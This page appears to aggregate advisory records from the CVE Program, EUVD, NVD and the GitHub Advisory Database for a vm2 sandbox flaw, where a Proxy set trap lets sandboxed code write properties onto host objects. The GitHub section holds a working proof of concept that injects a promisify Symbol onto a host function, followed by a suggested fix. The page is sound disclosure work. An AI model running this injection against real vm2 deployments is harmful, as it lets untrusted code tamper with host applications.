vm2: Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4.

Source published

12 Jun 2026 14:14:06 UTC

Source modified

12 Jun 2026 15:03:57 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4.

Source published

Jun 12, 2026, 2:14:06 PM (timezone not stated)

Source modified

Jun 12, 2026, 3:03:57 PM (timezone not stated)

Observed here

7 Nov 2026 10:40:06 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4.

Source published

12 Jun 2026 15:16:28 UTC

Source modified

26 Oct 2026 11:10:00 UTC

Observed here

27 Oct 2026 13:11:40 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

## Summary The `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path. ## Vulnerable Code ```javascript // bridge.js:1231-1260 set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); // ... try { value = otherFromThis(value); return otherReflectSet(object, key, value) === true; // BUG: 'receiver' is never used. // Should check if receiver !== proxy and handle accordingly. } catch (e) { throw thisFromOtherForThrow(e); } } ``` ## Impact Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child: ```javascript // Sandbox code const child = Object.create(hostObj); child.injectedProp = 'attacker-value'; // hostObj now has 'injectedProp' on the HOST side ``` Combined with the Symbol.for coverage gap, this enables semantic confusion attacks: ```javascript const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFunction); child[kCustom] = function() { return Promise.resolve('attacker-controlled'); }; // Host: util.promisify(hostFunction)() returns 'attacker-controlled' ``` ## Reproduction ```javascript const { VM } = require('vm2'); const util = require('util'); const vm = new VM(); const hostFn = function api(cb) { cb(null, 'ok'); }; vm.setGlobal('hostFn', hostFn); vm.run(` const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFn); child[kCustom] = function() { return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG'); }; `); // Host side const promisified = util.promisify(hostFn); promisified('test').then(r => console.log(r)); // Output: EXPLOITED-VIA-RECEIVER-BUG ``` ## Suggested Fix ```javascript set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA); if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) { return this.setPrototypeOf(target, value); } if (key === 'constructor' && thisArrayIsArray(object)) { thisReflectSet(target, key, value); return true; } try { value = otherFromThis(value); // When receiver is not the proxy itself, set on receiver (this-realm) // instead of the host target to preserve prototype-chain semantics. return otherReflectSet(object, key, value) === true; } catch (e) { throw thisFromOtherForThrow(e); } } ```

Source published

29 May 2026 17:49:18 UTC

Source modified

12 Jun 2026 19:45:09 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Publisher rating · HIGH